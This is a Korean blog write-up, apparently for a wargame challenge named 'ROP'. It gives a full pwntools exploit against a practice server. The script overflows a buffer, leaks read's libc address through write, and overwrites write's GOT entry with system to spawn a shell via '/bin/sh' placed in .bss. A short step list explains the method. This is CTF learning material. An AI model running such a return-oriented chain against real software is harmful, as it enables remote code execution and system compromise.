ROP 본문
ROP는 이제 많이 해서 익숙하다.
우리가 사용할수있는 함수는 write와 read함수이다.
gadget들을 모았다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3021)
#p = process("./rop")
context.log_level = "Debug"
elf = ELF("./rop")
libc = ELF("./libc.so.6")
pppr = 0x8048509
bss = elf.get_section_by_name(".bss").header.sh_addr
binsh_offset = next(libc.search("/bin/sh\x00"))
payload = "A"*140
payload += p32(elf.plt['write'])
payload += p32(pppr)
payload += p32(0x1)
payload += p32(elf.got['read'])
payload += p32(0x4)
payload += p32(elf.plt['read'])
payload += p32(pppr)
payload += p32(0x0)
payload += p32(bss)
payload += p32(0x8)
payload += p32(elf.plt['read'])
payload += p32(pppr)
payload += p32(0x0)
payload += p32(elf.got['write'])
payload += p32(0x4)
payload += p32(elf.plt['write'])
payload += "A"*4
payload += p32(bss)
p.send(payload)
read = u32(p.recv(4))
base = read - libc.symbols['read']
system = base + libc.symbols['system']
p.send("/bin/sh\x00")
p.send(p32(system))
p.interactive()
1. write함수로 read의 실제주소를 leak 한다.
2. libc bsae주소로 함수들의 주소를 계산한다.
3. bss영역에 /bin/sh을 넣는다.
4. bss를 인자로 system함수를 실행한다.
'보안 > 워게임' 카테고리의 다른 글
Unexploitable #1 (0) | 2021.12.16 |
---|---|
You are silver (0) | 2021.12.16 |
UAF (0) | 2021.12.13 |
Pwning (0) | 2021.12.13 |
gift (0) | 2021.12.13 |
Comments